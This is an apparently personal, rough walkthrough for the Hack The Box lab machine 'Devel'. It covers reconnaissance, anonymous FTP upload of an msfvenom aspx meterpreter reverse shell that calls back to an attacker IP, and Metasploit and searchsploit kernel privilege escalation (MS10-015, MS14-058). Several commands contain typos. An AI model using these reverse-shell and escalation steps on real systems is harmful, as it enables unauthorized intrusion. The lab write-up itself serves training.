Devel

```
nmap -T4 -A -v 10.10.10.5
    PORT   STATE SERVICE VERSION
    21/tcp open  ftp     Microsoft ftpd
    | ftp-syst:
    |_  SYST: Windows_NT
    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
    | 03-18-17  01:06AM       <DIR>          aspnet_client
    | 03-17-17  04:37PM                689 iisstart.htm
    |_03-17-17  04:37PM             184946 welcome.png
    80/tcp open  http    Microsoft IIS httpd 7.5
    |_http-title: IIS7
    | http-methods:
    |   Supported Methods: OPTIONS TRACE GET HEAD POST
    |_  Potentially risky methods: TRACE
    |_http-server-header: Microsoft-IIS/7.5
    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
dirb http://10.10.10.5/dvwa/
```

```
ftp 10.10.10.5
```

log in as anonymous
dir into aspnet_client>system_web (can't access)
get iisstart.htm
cat iisstart.htm after download
dirb http://10.10.10.5 or
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://IPADDRESS -z

```
sudo nmap -sV -T4 -O -p- -oN Scan.nmap 10.10.10.5
```

```
nikto -h 10.10.10.5
```

aspx
snet shell

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=4444 -f aspx -o shell.aspx
```

VICTOR Tutorial
nmap -sV -p- 10.10.10.5
visit webpage
nmap -sV -sC -p 21 10.10.10.5
can longin as anonmous

ftp ip
user: anon
pwd: enter

get iisstart.htm

echo test > test.html

Crafting Payload to allow exe through webpage

aspnet_client is the trick

```
msfvenom -p windows/meterpreter/reverse_tcp  - f axpx -o shell.axpx
```

put shell.axpx

createlistener

failed:
mfsconsole
use multi/handler

ELevate prv
systeminfo> no hotfixes

exit
background the session
show sessions

search suggester

use 0
options

set SESSION 1

exploit

Manual
use multi/handler
options check the options
exploit

new session
shell

get system info
copy all info > systeminfo.txt

python windowsexploitsuggester.py -d dsnkjdhf -i systeminfo.txt

Look for Kernel vuln MS10-015 / 047

background

use 28

show options
set LHOST
sho sessions
set Session 2
run

need different port
set LPORT 5555

run

search ms14 (windows 8 or below) ms14-058

Manual
searchsploit ms14
MS14-058 in python or cc+
upload code into machine and run

```
searchploit -m 46945.cpc
leafpad 46945
gcc djkd.cpc -o exploit.exe
```